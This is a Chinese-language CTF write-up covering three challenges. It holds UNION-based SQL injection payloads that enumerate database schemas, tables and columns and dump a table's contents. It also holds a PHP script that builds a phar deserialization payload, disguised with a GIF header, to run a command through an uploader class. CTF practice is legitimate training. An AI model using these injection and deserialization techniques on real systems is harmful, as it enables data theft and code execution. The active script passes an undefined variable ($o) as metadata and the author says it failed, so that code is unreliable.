web

[DDCTF 2019]homebrew event loop

知识点:逻辑问题

逻辑问题!wc!

脑壳疼!哈哈!

[b01lers2020]Life on Mars

知识点:sql注入

image-20210816170926242

测试的时候用空格200! 用/**/来测试!

0 union select 1,2 -- -
olympus_mons%20union%20select%201,2%20--%20-


olympus_mons%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata%23

["1","information_schema,alien_code,aliens"]]

olympus_mons/**/union select 1,group_concat(table_name)/**/from/**/information_schema.tables where table_schema=0x616c69656e73-- -
["1","amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin"]]

olympus_mons/**/union select 1,group_concat(table_name)/**/from/**/information_schema.tables where table_schema='alien_code'-- -
["1","code"]]

olympus_mons/**/union select 1,group_concat(table_name)/**/from/**/information_schema.tables where table_schema='information_schema'-- -


olympus_mons union select 1,group_concat(column_name) from information_schema.columns where table_name='code' #
["1","id,code"]]

olympus_mons union select 1,group_concat(id,0x3a,code) from alien_code.code -- -

[GXYCTF2019]BabysqliV3.0

知识点:

哈哈哈!格局小了!🤡🤡

弱口令进入!哈哈哈!

它这个phar反序列化怎么说呢! 程序自身可以直接getshell!

但是phar反序列化! 好像只要有那些函数! 再加上phar协议就可以反序列化!

image-20210816191447774

这里一开始在一个类里! 我想它最后怎么phar触发呢!

最后它是类里的变量也能触发!底层不知道为啥!

@file_get_contents($uploader) 运行到这里就触发了!

最后本地可以调!

buu没成功!晕了!哈哈

<?php
//class Uploader{
// public $token = 'GXYb89f58f26ebc339fefdf3b9364015da6';
// public $cmd = "phpinfo();";
//}
//@unlink("phar.phar");
//$phar = new Phar("2.phar"); //后缀名必须为phar
//$phar->startBuffering();
/*$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub*/
//$o = new Uploader();
//$phar->setMetadata($o); //将自定义的meta-data存入manifest
//$phar->addFromString("test.txt", "test"); //添加要压缩的文件
////签名自动计算
//$phar->stopBuffering();
//?>
<?php

class Uploader{
public $Filename;
public $cmd;
public $token;
}

$a = new Uploader();
$a->Filename = "test";
$a->token = "GXYb89f58f26ebc339fefdf3b9364015da6";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';

echo serialize($a);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();